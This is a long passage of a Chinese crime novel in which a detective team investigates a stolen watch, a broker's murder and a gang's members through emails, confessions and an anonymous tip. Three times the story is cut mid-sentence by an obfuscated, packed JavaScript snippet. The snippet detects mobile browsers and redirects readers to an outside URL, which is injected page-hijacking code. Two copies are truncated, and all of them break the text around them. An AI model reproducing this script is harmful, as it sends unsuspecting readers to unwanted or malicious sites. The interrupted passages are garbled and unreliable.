“什么?人死了?老大今天收到了表的照片?”界至野直犯晕,“不是,你等等,一个一个来。这卖表的是谁?” “是个姓陈的黑市中间人,”卫其宏闷闷回答,车子一个急转弯冲上另外夹道,界至野没防备,差点磕上车门,他开始大声抱怨,“你小子稳当点!别跟老大一样,整天火急火燎的。” 卫其宏哈了一声,“火?我倒希望组长冒火。跟你说,这姓陈的一月份没的,家属20号就报了失踪,结果尸体三月初才油罐里被发现,月中才总算对上号。这么长时间还能剩下什么线索?组长哪来的火能冒?他都快结冰了他!” 界至野才从冰天雪地的黑夏川归来,现在万万听不得一个“冰”字,刚忙打断他,“这个人死油罐里,那肯定不是意外啊,跟那块表有关没?能查到不?” 卫其宏哼哼,“本来不确定,干他这行的人得罪的人可多了,河轻那边调查半天没头绪,都快成了冷案。不过昨天失窃组从他一个隐蔽邮箱里恢复了些东西,看时间正对得上。”说到这里他突然反应过来,“哎,不对,界老,这么说你没读啊你,就在M盘上,看一会儿组长不吃了你!” 界至野龇牙,赶紧给自己找理由:“我吃止痛药哪,一吃就犯困,现在就看,现在就看。”他一边说一边摸出手机,点开一个新建文件夹,里面是保存下来的邮件截图。 邮件 1 发件人:未知买家@maildrop.example 收件人:卖家_匿名@securemail.example 日期:50-01-08 08:14 主题:咨询 在稀物板块看到表的照片,请问是否可私下询问?希望回复。 ——A 邮件2 发件人:卖家_匿名@securemail.example 收件人:未知买家@maildrop.example 日期:50-01-08 10:42 主题:Re: 咨询 A,你好,物件仍在,但不公开宣传。价格预期?只限认真买家。 ——C 界至野看到这里,直皱眉:“一月份?那个表是年初挂上去的吧?这时间对上了,难道这人真是因为这个表死的?” 他又往下看,发现下面几封往返邮件内容都是在讨论价格和怎么验货交货,急匆匆掠过,来到最后,最后这两封邮件中,双方敲定了见面地点。 邮件 7 发件人:未知买家@maildrop.example 收件人:卖家_匿名@securemail.example 日期:50-01-13 18:09 主题:见面安排 C, 16日,星期四,晚7点,果林餐厅,靠窗角落的桌子。桌上不要放手机。请带好可验证的文件。不要迟到,迟到超过五分钟交易取消。 ——A 邮件8 发件人:卖家_匿名@securemail.example 收件人:未知买家@maildrop.example 日期:50-01-13 18:17 主题:Re: 见面安排 周四,16日,19:00,果林餐厅,角落,确认。 ——C 界至野摸摸冒出不老少的胡子茬,“这国林餐厅的监控查没查?”不等搭档跟他翻白眼就自己接上了,“知道了,这么久早覆盖了是吧,表也没找到?”看到卫其宏生一脸无可恋,忍不住笑话他,“不用愁,这才哪到哪,放心,老大开了天眼,他有肯定有招。” 高尚桢当然没有真的开天眼,他也手里也真没什么像样线索。 所以他头疼。 河轻,他想,见鬼了,怎么又蹦出另一个毫不相干的城市? 他又拿出了本名陈久永,黑市中间人C的档案,第三次确认,此人就是纯粹的河轻地下黑市中介,无论从年龄还是经历上判断,都不大可能是蛇矛成员,也大概率与银脊劫案毫无关系。 那么,手表是他从哪搞来的? 据说这个陈久永作为中间人名声不错,可身家并不雄厚,大多数情况下是作为一名掮客给买卖双方牵线搭桥,从中间抽成。 他是掮客,买家是A,那卖家又是谁?推测当初拿走表的蛇矛一员? 1月16日见面,下旬陈久永死亡,假设陈久永的确因为这块表而死,难道因为买卖做完了,蛇矛拿到了钱,所以杀人灭口?这块表目前在买家A手里?那A又是谁?和本案有无关联? 或者说,A和陈永久见完面,生意没有谈妥,黑吃黑杀了这个掮客?表还留在蛇矛手里? ……除此之外,还有最后一种可能。 就是我们推测完全错误,拿走表的并不是蛇矛,而是我们不知道的第三方,也就是河轻的真正卖家? ……第三方? 他抓起另外一叠纸,那是打印出来的交易邮件,陷入沉思。 看看这些要求,什么桌上不要放手机,什么迟到超过五分钟交易取消,怎么看都是专业人士的风格,明显有反侦察经验。 想到这里,高尚桢的目光再次落上今日收到的快递包装,那上面没有寄件人,没有回邮地址,只有被贴上的一张短短的自提码条贴纸。 同样很难追查,如出一辙的反侦察手段。 如果寄这个快递的人才是真正卖家,是那个委托陈久永的人,他又为什么会选择接触警方,会突然选择现在这个时间点接触警方? 高尚桢越想头越大,只觉得自己太阳穴嗡嗡的,脑汁疯狂绞动。 这种案子再多来几回,我就得和署长一样变成地中海发型,嗯,年纪不大,头发不多,罚单不少。 他正严肃思考自身形象的问题,突然楼梯里传来快速脚步声,刚抬头,安月见已上气不接下气的跑了进来,“……组长,组长……调查官……找到了,咳,咳。”她不等站稳就开始咳嗽,因为奔跑过急,脸孔也跟着涨得通红。 旁边有瓶没打开的矿泉水递了过去。 是程宥。 “吸气,三秒吸,三秒憋,三秒呼。”程宥出声指导,“说话只讲短句和重点,细节随后补充。” 安月见接过水,依言吸气憋气又狠狠的呼气,这才飞快开口,“河轻尸体,挖掉了纹身。” 高尚桢蹦了起来,“什么!”他张嘴就是一堆问题,鬼使神差的向程宥瞄了一眼,又慢慢坐了下来,压着性子曼声细语:“细节可以慢慢说,先喝水。” 安月见顾不上在上司面前的形象,咕嘟咕嘟喝了几口水,好容易平缓了下来,“是这样的……河轻警方一月份发现了一具尸体,死因是全身骨折;DNA对比出了结果,是一个叫高扈的退役士兵;就刚才,河轻方面发来消息,说尸体检测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652193|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出纹身,不过被挖掉了。” 轻声细语的高组长不见了,他浓眉紧皱,问题跟雨点似的又急又密:“退役士兵?哪里的退役士兵?怎么会一月份死的,现在才发现不对劲?我之前不是让你给各个警局发过通告,让他们注意纹身的事吗?”。 还好进组大半年了,安月见倒也没害怕,也跟着尽量加快了回答的语速,“通告发了,他们也确实查了,但是因为这块皮肤缺损在颈部,骨折很厉害,法医没法判断,所以只在报告上写了‘颈部皮肤缺失5cm x 5cm’;河轻警方搜索内部信息时用的是‘纹身’‘刺青’之类的关键词,所以漏下了;这回因为陈永久的案件,他们特别重视,又根据我们的通告,把八年之内的所有可疑案件彻查了一遍,终于发现这个报告被他们忽视了。” “八年内的案子都彻查……”一向无法无天的高尚桢也被这个信息震动了,只讲出半句突然止住。 他静了一静,侧过头去瞅程宥,看到他正低着头,打量着自己锃亮的皮鞋,不知怎么的,一下子没忍住,伸手在他肩膀轻拍一下。 这一瞬程宥足下微动,欲要闪开,然而到底脊背挺直,站在原地不曾躲开。 ——高组长在传递他的感谢。他想。我要表现出尊重。和睦的合作关系对完成任务很重要。 高尚桢一时失手,也觉得自己好像有点唐突,看到程宥目光投来,脖子有点热,赶紧扭头装没看见,继续问安月见:“确定是纹身吗?这都快了一年了。” “河轻那边把尸体重新挖出来,虽然腐烂了,但是还是努力收集了伤口残余物。”安月见眨眨眼,显然也被对方警局的大手笔震懵了,“确实检测出纹身染料残留,报告发到我信箱里,我一会就给大家转发。” “好!”高尚桢赞了一句,又想起之前的问题,“高扈是退伍兵?他从哪里退伍?” “150师,”安月见准备得很细,“这是一支隶属于中部联区的常备野战军。35-38年被派往南部联区驻扎。” 高尚桢突然停下动作,野战部队?怎么好像在哪里听过? 野战部队! 他快步来到写有白行人那块白板的下方,看到上面的野战部队士兵四个字,而盛苒的话再次回响到耳边,“……团长说有个外面部队的士兵来探望过他几次,这个事情很稀罕,所以他印象很深。可惜那个士兵叫什么,长什么样,他全都不记得了,就记得是哪个野战部队的,只有这些。” 高扈,高扈……扈……虎 他迅速回身,看向安月见,“高扈照片有吗?当兵时候的记录。” “在这里。”安月见赶紧打开手机打开邮件递给他,小心道歉:“对不起,太急了,我没来得及打印。” “没事。”高尚桢下意识的回答,目光落在缓缓展开的士兵照片上,上面是个一身军服的青年士兵,一张圆脸令人印象深刻。 ……老鬼头说,他就跟蛇矛里两个人打交道比较多……但都不是真名……一个脸挺圆,叫老虎…… 他压下自己的激动心情,跟安月见下达命令,“卫其宏去接界至野了,你把照片打印出来,等回来就给他。上次他们曾盘问过白行人那个战友田光,关于这个野战军士兵的消息;田光说他想不起来名,但看到脸也许能记起来来,今天让卫其宏给他看照片,凿实这件事!” “是!”安月见激动的敬礼,小步跑向办公桌,刚要坐下才意识到手里还拿着矿泉水,又快步回来跟程宥道谢,“谢谢你,调查官!” 高尚桢在旁边看着,想起河轻那边送过来的线索,一时心情有点复杂,跟在安月见后面说,“谢谢你,程宥。” 程宥抬头看他,“你说过调查官的职责就是协调工作。” 高尚桢:…… “啊,这个倒是。”他挠挠头,干笑了两声,“其实也没必要记这么清楚。” 程宥没说话,望着他,笑了笑,来到窗边将剩下的一点矿泉水倒入花盆里。 傍晚的阳光斜斜洒落,红彤彤的,将他的身影染出一片烫金。 高尚桢的脖子更热了。 这鬼地方,他想,都什么时候了,太阳还这么烫。 25. 第三方 关于高扈的身份确认还算顺利。 虽然事隔多年,然而田光看到高扈入伍照片,经过苦苦回忆还是认出,这个脸盘圆鼓鼓的士兵就是白行人认识的野战军战士;而另一边关押黑夏川监狱中,被界至野烟酒搞定的老鬼头,在得到狱方“老实配合放风时间合理增加”的承诺之后,也从一堆军人照片里精准挑出高扈那张。 “就是他。”老鬼头眯着眼,懒洋洋的说,“他就是老虎,原来他当过兵呀,嘿嘿,我就知道。对了,这个照片上没有,那是后来,他给自己刺了个纹身,喏,就在这儿。”他在脖子左侧比划了下,“是个VIII,蛇矛的人都有。” 两条信息间隔两个半小时,翌日中午传回了红驼刑事组办公室,于是白板线索再度更新。 50年1月8日,周乐天在银脊案中遗失的手表在暗网现身,照片由掮客陈久永提供,真正卖家未知。 50年1月x日,河轻市,C(陈久永)和A(买家)在餐厅见面。 50年1月x日,陈久永被报告失踪(实际失踪时间可能更早),尸体三月份被发现,怀疑当时就已死亡。(高度怀疑与手表有关,但无直接证据支持) 50年1月x日,河轻市,高扈尸体被发现,目前确认此人是蛇矛成员:老虎,颈部罗马刺字纹身被挖走。 …… 50年11月14日,红驼,给刑事组的匿名快递,是手表的高清照片。 高尚桢握着笔,苦苦思索。 卖家在河轻交易,陈久永在河轻被杀,高扈在河轻被杀…… 可照片却从红驼寄来,收件人写着"红驼城刑事组高组长"。 为什么是红驼?因为卖家现在在红驼? 昨天刚回来的界至野不顾脚踝还疼,照旧上班,跟着老大身后,也学他的样子,抱着手歪起头,面向白板,眉间锁出一个川字。 这一模一样的神态让刚进门的安月见险险笑出声,她旁边的盛苒也忍俊不禁,“这个老界……”她摇摇头,向高尚桢晃晃手里的录音笔,“组长,医院匪徒的口供拿到了。” 高尚桢对这个副组长最满意的一点就是她永远不温不火,笑意盈盈,可是总能敲开嫌犯的嘴巴,这一点连他也甘拜下风,原因他自己也知道:急脾气一上来脸就黑,碰某些死硬派犯人那就是火星撞地球,除了一地碎片啥也没剩下。比方医院里这几个,他跑去问过一回,结果对方一个个死鱼眼瞪着,嘴巴也跟死了一样;他声音再高一点,就把医生招来了,以病人身体情况不乐观为由,将刑事组长请出了病房。 结果盛苒一出马,这不乐观的身体也突然乐观起来了,死了的嘴巴突然又活了。 ……学到老活到老,我也别总说程宥,回去还得把犯罪心理学再撸一遍。 高警官感慨着,录音里匪徒的声音很快就淹没了他这一点自省。 【盛苒报告】 以下为匪徒李毕升和徐仁的供述,其余三名歹徒未招供。 匪徒李毕升:卡车司机 “……我真的没怎么参与,您怎么就不信……” 盛苒的声音。 “我身上有枪?怎么解释……那个吧,咳咳,这个……” 盛苒的声音。 “……不,不用叫那个问路的来证实有没有!可别叫他来!” 交谈,交谈。 “好吧,您都这么说了,那我就都交代了吧。” “差不多去年年中,我还在峰罕干,遇到了大哥他们。” “对,牙,您看你不都知道了嘛。我们大哥是牙,真名?真名不知道。” “……您不知道蜂罕?也正常,南部一个小城,你总知道黑夏川吧?它在隆南北边,蜂罕也跟隆南贴点边,不多,就一点,在南边。” “……我们干什么?倒卖东西呗,你知道,那边打仗呢,啥都缺,老大在那边有渠道,我们这边就负责供货就行。” “……我知道的真不多,进的晚嘛,基本就开开车,别人知道都比我多,你去问大疙瘩和黑卡,他们知道的多。” “……为什么突然从蜂罕来红驼?哎呀我也想知道啊,本来干得好好的,结果六月份做完最后一单,七月份就大哥就突然让大家到红驼来,我还以为要在这边供货呢,结果到了就一直呆着,呆了三个多月,直到前几天,大哥让我们去那个疗养院。” “我就知道这些,真的。……你问我还有什么人?除了大哥不都落你们手里了嘛……对了,老幺,他是个黑客,也在外边,还有…对了,以前还有个人,叫老虎,脖子上带个纹身,我们都叫他二哥,好像从年初吧就没见到人。” 盛苒出示宫高扈照片。 “这个照片?对,就是二哥,不过没见过他穿军装。” 盛苒出示宫达良和白行人的照片。 “不认识,没见过……警官,我真的就知道这些。” “你问我们住在哪里?这是地址……” 匪徒徐仁 注:下颚骨粉碎性骨折,吐字模糊不清,文本记录()重新标注过。 “星名,徐银”(姓名:徐仁) “年宁,三四三岁”(年龄:三十三岁) “深分,被你们组组的犯银,我银罪。”(身份:被你们抓住的犯人,我认罪) “机关,南部蓝栖褐夏惨”(籍贯:南部联区,黑夏川) “些冒?不寄到。我细年前跟了大哥,开细在楞南,后来到了蜂寒,走细霍唔”(蛇矛?不知道。我四年前跟了大哥,开始在隆南,后来到了蜂罕,走私货物。” “卒子里大哥系劳大,呃哥管系,其他银和我擦不多,一共系是个人左右。”(组织里大哥是老大,二哥是管事的,其他人和我差不多,一共是十个人左右。) 盛苒出示宫高扈照片。 “系呃哥,他平素不特露面,疾有咋兴东素嘘现。”(是二哥,他平时不太露面,只有在行动时出现。) “一页无门哟个大河,可呃哥木促狭,后来又几添,大哥蓝色不好,后来多鸟人,则冷意,大哥素素呃哥弟弟。”。(一月份我们有个大活儿,可二哥没出现;后来有几天,大哥脸色不好,后来多了人,坐轮椅的,大哥说是二哥弟弟。) “木砸见过呃哥。”(没再见过二哥) “几个页前大哥齐了冷男,回乃家来轰它,素又隔凑假在则里,他腰抱簇。”(几个月前大哥去了隆南,回来就来红驼,说有个仇家在这里,他要报仇。) “齐他不几道。”(其他不知道。) 盛苒出示宫达良和白行人的照片。 “不几道集体星名,大哥家他们素脚和伤心,系无门在弄南的上牙”(不知道具体姓名,劳达叫他们蛇角和上刑,是我们在隆南的上游) 最下方是盛苒总结:前已根据嫌疑犯口供,得知疑犯与案发前临时落脚于清沙区金光器大街1802。关于高扈弟弟的身份正在追查中。 附:同步绘制的两名嫌疑犯画像。 高尚桢凝视着这两张画像。 一人方脸浓眉,嘴角微微下垂,一张脸泯然于大众,难怪假扮医生时,与其擦肩而过的便衣死活想不起来。 另一人面颊瘦削,戴着细框眼镜,眼窝发青,眼下挂了一层淡淡的黑影。 与此同时,清沙区,金光器大街,1802。 房门被一脚踹开,木屑飞溅中,数名刑警持枪冲入。 电视屏幕仍亮着,画面卡在一档新闻节目上,烟灰缸里堆着没掐灭的烟头,空气里的焦糊只剩下淡淡一息。 界至野环顾四周。 电脑主机外壳敞开,硬盘被整齐拆走。 人去楼空。 消息传回来,高尚桢眉毛都没抬一下。 抓到了才是奇迹。 医院的几个人不过是探路的小卒,他想,来试底细的。 蜂罕……他摇摇头,目光落上白行人案下的一条线索上。 ——43年被人目击在蜂罕和一外国人(我国?)在一起,该外国人有腿疾。 ——我居然没想起来查,他有点懊恼的想。 ——不过查也白查。 蜂罕,战争后才划入新林德共和国版图的边疆城市,多民族多种族混居的人文环境,以及群峰叠嶂雪山连绵的地理环境,令南部联区自治政府头痛不已,逐渐成为一个三不管地带。 思维如电飞驰。 ——当初蛇矛被朗基努斯之枪击溃之后,剩下的残兵败将兵分两路,一路越境隆南(白行人,宫达良),一路在蜂罕潜伏(牙,高扈),一个上游,一个下游,走私枪械等物资。 高尚桢嚼着巧克力豆,慢慢捋清楚了这条线。 ——嗯,看来他们一直这么干了好几年,包括在高扈出事之后,直到今年六月。对了,白行人口袋里那张收据,5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——好像程宥来了之后,这盆花就长得特别好。这家伙真是……就不肯对我好一点,去帮老子把林律奚的嘴巴撬一撬。 ——算了,他不爱干就随他,还得回到前面的问题上。 ——蛇矛到底为什么来红驼? ——报仇……高扈因为交易那块表才被杀的,但是那是在河轻……宫达良和牙他们为什么不直接去河轻? ——等等,如果卖家这么有反侦察意识,他不可能在本地选择掮客,本地交易,他会去外地。这个外地就是……河轻?这个本地是……红驼? 一连串的火花在他脑中劈里啪啦的炸开,仿佛闪电平地升腾,击碎了重重迷雾。 高尚桢换了支红色笔,在河轻(陈久永、高扈)这条线索画下个箭头。 ……完蛋,又忘盖帽了,这只笔又完蛋,这什么质量,没帽就不行! 高组长愤愤抓起根绿色的,狠狠戳了上去。 河轻(陈久永,高扈)——红驼 (快递) 河轻(被委托的掮客,高扈:冒充的买家?碰巧?)——红驼(真正的卖家?) 他兴奋的挥了下拳,又蓦地停下手。 ……不对,等等。 这里有两个逻辑没有通。 ——蛇矛怎么知道卖家在红驼? ——如果卖家就是牙提到的仇人,难道卖家就是索骁或者其他受害者?但是他们不可能拿周老板的手表。 ——整条逻辑链在这里断了…除非…除非什么? ——除非拿走表的,根本就不是蛇矛,也不是任何一个受害者…是第三方! ——送来快递的第三方! ……然而这个人毫无头绪…… 兴奋消失了。 高尚桢觉得精神头正迅速的离自己远去,他无声的叹口气,看看办公室空荡荡的,才意识到大家都去吃午饭,突然也觉得肚子很饿。 巧克力不能当饭吃,再好吃也不行。 他摸着肚子,决定去警局地下餐厅找大部队。 ……对了,还说等界至野回来给程宥接风呢,要不干脆就在地下餐厅吧,我看程宥每天整点去那报道,肯定挺喜欢。 高组长毫无惭愧之意的做出了决定,来到电梯口按下了LL的按钮。等到电梯门打开,里面有人急匆匆的往外走,来人迎面撞到他,愣了下,随即大喜,“高组长,太好了,我正要找你!” 高尚桢认出他是楼下919报警中心的值班警官,有点奇怪,“找我?” “是,刚才我们接到了给你的电话!” 这下轮到高尚桢愣住了,“给我的电话?报警中心?” “是的,一通匿名电话,已经挂了,对方说有关于银脊赌场劫案的线索,留言给红驼刑事调查组高组长。" 26. 我记忆里不存在 “请问,919报案中心,我是3623号接线员,有什么可以帮助您?” “我要给刑事组高警官留言,我是给他寄快递的人,知道42年银脊真相。” “刑事组高组长对吗?请问您的姓名,地址,联系方式。” “如果高组长感兴趣,请他在明天《红驼晚报》第三版上发一个广告,就写‘我在寻找周先生的朋友’,然后留下电话号码,我会联系他。” “好的,请问您的姓名……” “嘟嘟,嘟嘟……” 这段919报案中心的电话记录,高尚桢反复听了5遍,对方显然用了声音处理器,嗓音尖细得不正常,没有任何起伏。 42年,银脊赌场,周先生,表照片的快递。 他把这段录音转给组员同步最新情况,然后打电话给信息室,让他们按照来人要求,在明晚报纸上登出这条信息,并附上自己电话——当然是对外联系的电话号码。想了一想,还是坐不住,抓起衣服就朝外走,在楼梯口遇到从地下餐厅归来的程宥。 他一把抓住程宥胳膊,“跟我去一趟莞荟苑,林律奚肯定知道更多内情。 ” 程宥看着自己被他攥住的胳膊,脸上露出少有的迟疑,“今天卫其宏在莞荟苑值班。” “我知道。”高尚桢不由分说拽住他,“不能再等了,得主动出击,我们再去敲敲那块石头。” 程宥挣脱开他的钳制,“你可以自己一个人去。”他罕见的对高组长提出异议,“对证人的心理状况我还没有掌握。” “不用你掌握,你镇场子就行,”高尚桢掏出车钥匙,不耐烦的敦促,“壁花知道吗?壁花!走!” 程宥呆了一下,“壁花”这个词完全落在他状况之外,不过被高组长火急火燎的一催,还是和他一前一后离开了警局,来到停车场。 警局给程宥配了辆车,他刚准备拿钥匙,高尚桢已跑到自己那辆永远都会停在第一排车位的老雪佛兰前,开始催他,“快点过来。” 程宥刚看一眼停了稍远的车,高组长已按起了喇叭,“省点事儿吧你,快过来!” ——与地方警局维系良好的合作关系对完成任务很重要。 程宥默念着工作准则 ,走到雪佛兰前,准备去开后车门,然后就被抓住肩膀推进了副驾驶。 ——即使与高尚桢合作,需要消耗一点点的意志力。 他想。 虽然已经十一月,红驼这颗沙漠之珠依旧带着余温,从边境那头吹来的风卷起沙尘,吹响了城市中无处不在的哨音。 司机高尚桢在路上飞驰着,唯一的乘客在副驾驶听着案件相关的几段录音。 919报案中心的电话录音他听了两遍,高尚桢余光觑见他没有变化的神情,开了口,“有什么想法?” “声音经过处理。”程宥边思考边回答,“背景有极微弱的机械噪音,在0:17秒和0:34秒位置,应该是空调或冰箱。” 高尚桢嗯了一声, “你的分析很好,不过对了解这个人有帮助吗?” 程宥又楞了一下——这是他今天第二次发愣——他认真思索片刻,坦率承认,“没有。” “那换我来。”高尚桢一面打方向盘一面用嘴撕开夹心巧克力的包装,“整个通话时长不足1分钟,一次性电话号码,无法追踪;背景音没有任何容易定位的线索;他无视接线员的询问,自顾自抛出。这个人反侦察意识很强。” “还有,”高尚桢咬了口酥皮,“当他说到手上有线索这句话时,呼吸明显加快,他比我们需要这个交易。” “对了,你吃不吃巧克力?” “不吃,谢谢。”程宥礼貌拒绝了友爱的巧克力,又对高组长的话进行了一点深入思考。 ——和高尚桢合作对任务确实有帮助。 他感到自己的意志力回复到了正常水平,然后默默点开了对医院里两名匪徒的审讯录音。 当他听到盛苒和蔼可亲的提出“那天路过警官的可以来探望你”,卡车司机马上缴械投降时,无声的微笑了一下。高尚桢的眼角捉到了这笑容,唇边也翘了起来。 他在两段录音间歇开口,“你对这几个人有没有什么了解?” 程宥摇摇头,“没有。”他眼望前方,声音平静,“其实我知道的和你基本一样多。” “我以为你知道什么,”高尚桢笑了笑,“所以才把冲锋枪当成了冷兵器,一枪都没放。”他开着车,面庞被阳光照得鲜明异常,“明明用枪的话,对你就几秒的事。” 程宥握住手机,身体一瞬凝结在原地,半晌垂下视线,默默的点开了第二段录音。 这名匪徒被击碎了下巴,说话含糊不清,理解起来就和做十级外语听力差不多,即使是程宥,也不得不听一句停一句,有时还要倒回去反复辨别——他又不像高组长一样,先把盛苒的翻译稿打印出来对着作弊——所以即使这样艰难的听到结尾,他还是有些地方吃不准,听完半天还在目视车顶,无声的消化这段天书。 高尚桢稍稍侧头,打量着这个看上去又安静又无辜的人,忽然之间,大发感慨。 “听不懂吧,也难怪。看看你把人家下巴颏祸祸的,”他摇摇头,巧克力的气息在空气中环绕,“以后说话都得在喉咙上装个翻译器,说不准吃饭还得系个布兜;汤是不能再喝了,一喝就漏,这才是真正的九漏鱼。” 其实他听这段录音时,这套画面就跟走马灯似的不住在脑子里打转,不过以前无论脑中小剧场怎么活泼,高组长自己都憋得严严实实——跟下属完全打成一片并不好,尤其是干他们这行的——这是他坚守的信条。 不过,他怎么就跟程宥说了呢。 高尚桢自己也有点惊讶,正在琢磨,就看到镜子里的程宥第三次愣住了。 “翻译器?”他皱起眉,慢慢重复:“……九漏鱼?” 程宥低声重复几句,突然笑出声来。 不同于弧度正好的笑容,也不是偶尔露出的浅淡笑意,这次调查官真真正正的大笑,他捂着手机,直笑得前仰后合,好久才勉强停下来。 “高尚桢,”他在笑声中做出评价,“这个笑话很好笑。” 莞荟苑很快就到了,高尚桢跳下车,催着突然冒出活人气的调查官进入一楼,向值班的卫其宏打个招呼,跑上四楼林律奚的房间,敲敲房门,不等里面有响应直接入内,跟面露讶异的刘律师和付助理打个招呼,然后转向林律奚,“您好,又见面了!” 林律奚从文件里抬起头,目光径直掠过他,投向他身后的调查官。 程宥则牢牢遵循高组长的指示,身体贴上门旁墙壁,双手插进口袋,做一支安静的壁花,对注视而来的视线毫视若无睹。 高尚桢大剌剌的拉过椅子,在年轻律师桌对面坐下,“可以吧。”他坐下之后才想起来问,不等对方反应马上就接下,“齐晴你认识吧。” 在听到这个名字瞬间,林律奚神情变了,某种类似旧铜的灰一刹那沉入眼底。 他沉默片刻,看向刘律师方向,示意他和付助理出去,刘律师显然有些犹豫,看了看面色冷峻的林律奚,还是选择和付助理两人一起在走廊里等待。 等到办公室的门被轻轻关闭,林律奚才合上笔帽,身体慢慢仰向座椅后背。 “你想说什么,高警官?”这一瞬间,所有的苍白和铅灰都从他面孔褪却,他又变成了审讯室里那居高临下的嫌疑犯,带着漫不经心的傲慢,俯视众生。 高尚桢也不废话,直接拿出手机,放到办公桌上,点开了方楚的录音。 林律奚僵硬的坐在原位,目光直直看着桌上的文件,盯住其上某点,一动不动。 随着录音里方楚开始讲述银脊劫案的真相,他脸上铁一样的面具也随之皲裂,一块一块的掉了下,露出纸一样的苍白。 他抓住笔的手指绷得极紧,指甲深深掐入掌心。 — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时林律奚震动已减弱,但依旧不停颤抖,呼吸断断续续,胸膛起伏不定。 程宥的拇指和食指扣住他下巴,迫使其抬高与自己对视,声音冷静又精准:“看着我,来,吸气,吐气,吸气,吐气。” 林律奚的瞳孔里映满了那道影子,良久良久,他喉口泄出一声低低的颤抖,眼泪顺着脸颊滑下,呼吸开始渐渐平稳。 他艰难的抬起手,想去抓那只手,然而在即将碰触的一刹那,它已悄无声息的撤走。 刘律师和付助理冲了过去,披衣的披衣,解领带的解领带。 程宥站起身,垂眼见到年轻律师额头冷汗逐渐干涸,抬头望向高尚桢,“惊恐发作,过度换气,现在已经恢复。” ——目前是绝佳时机,然而…… 高尚桢嘴唇动了动,终究俯下身,靠近林律奚,望入对方的眼睛,“林先生,你还好吗?” 全无反应。 刘律师骤然暴怒,他一把推开高尚桢,“你们警察怎么回事!就是这么保护的!我要控告你们!” 高尚桢被他推得趔趄了一下,也不生气,只站起身,望着一团乱的景象,“林律奚,”他再度开口,声音诚恳又安定,“只有抓住真凶,才能克服心魔,我希望你能帮助我们。” 地下的人稍稍一动,然而再无反应。 高尚桢看了看程宥,对方悄无声息的退回墙旁,像一道影子。 “走吧。”他说。 走入电梯时两人都没说话,高尚桢将手插进口袋,看着电梯上数字一节一节向下,开了口。 “你们以前一定见过。”他转头看向并肩而立的调查官,“他对你的反应太强烈,应该不止是上次医院狙击一次。” 程宥没有看他,注视着面板上一亮一灭的数字,神色平静。 “我记忆里不存在。”他说。 这一刻,所有的鲜活气息都从他身上被抹去。 他钉在原地,活生生一柄人间兵器。 27. 永生难忘的夜晚 不出意外,才回到警局,署长的电话就杀到了,高尚桢被骂得狗血淋头,这回他倒没有和往常一样和顶头上司的上司对吼,反倒秉持着“雷霆雨露皆是君恩”的心态,低头认错,到最后署长都训不下去了,狠狠抛下一句“再有这种事你就给我摘警徽!”就挂断电话。 我这警徽每年都得摘个二三十回,嗯,失业了就在警局前开个店,专卖警徽。 高组长脑中的小剧场又一次开始了悻悻的表演,不同于以往,这回他倒真没什么怒气,主要是林律奚的过度反应实在超出了预料。 我是想敲打一下石头,也没想敲碎啊,他想,这也太脆了。 看来当初蛇矛对他们做的事…… 高尚桢再次响起了方楚口中的齐晴,本来就不太好的心情更加抑郁,他来到白板前,看着盛苒新贴上去的资料,当中就有几个学生的照片。 他们都如此年轻,风华正茂。李延身材高瘦,模样斯文;言行诺一看就是那种有钱的玩咖;里面唯一的女孩子齐晴明媚得像朵玫瑰。 高尚桢的目光从最左侧滑动,一直来到最右那张,终于停住。 那是个衣着朴素的年轻人,身材瘦小,戴了副宽大的黑边眼镜,在奢华古典的建筑里显得如此格格不入。 ——索骁。 同学口中那个在世界上几乎没有留下痕迹的人。 ——是你吗? ——你在哪? 翌日的红驼晚报第三版上果然如约出现了警方的广告。 ——我在寻找周先生的朋友,请知情者联系高先生,电话:718-XX-XX。 为了这通可能随时响起的电话,高尚桢又一次在警局打起了地铺,界至野也把自己睡袋搬来了,誓与上司共进退;连在莞荟苑值夜班的卫其宏也保持了通话状态,随时关注进展。 本来警方只提供日间保护,不过上次歹徒袭击后,高尚桢不放心,干脆让几个男组员,也包括他自己,没事晚上也住那里,反正环境堪比五星级宾馆,倒也没人反对。 这晚轮到卫其宏,他一面和通话器那头的界至野偶尔插科打诨,一面和几名便衣吆五喝六的打扑克,直到十二点,别人都困了纷纷睡下,他还精神抖擞,决定再去四楼转一圈。 电梯到达四楼,门在身后无声合拢,金属的回音在长廊中回荡。 他今晚第三次路过林律奚所在的406,看到灯光从门缝下静静泄出,不禁有点感叹:看来律师也不好干,再怎么有钱,这么晚了不也得加班。 406室。 无数书籍包围的办公室中,林律奚斜靠在椅子上,手支额头。 他脸上已没了白日里的惊恐与狂乱。 他静静注视着窗外。 卫其宏从四楼巡查下来,还是不想睡,也不想回去打扰已经睡下的同事们,索性来到二楼尽头的吧台处给自己冲了杯咖啡。 整栋楼只有我和林大律师还在工作,他觉得自己的心情和咖啡一样苦涩,端着咖啡来到小酒吧一角,在靠椅中窝下。 对面壁炉的火将要熄灭,灰烬尚有余温。 外面被夜色吞没,窗间映出他端着咖啡杯影子。 靠椅开始摇晃了起来,在他身下咯吱咯吱的响,落地座钟一分一秒的计时,指针滴答滴答,即将指向凌晨一点。 他拿起手机翻了一会儿娱乐新闻,通话器里依旧没什么动静,那个要警方打广告的家伙还没有联络。 “命真苦。”他嘀咕着,放下了咖啡杯,开始琢磨要不要回去睡觉。 就在这时,铃铃铃——吧台上的电话响了。 卫其宏皱起了眉。 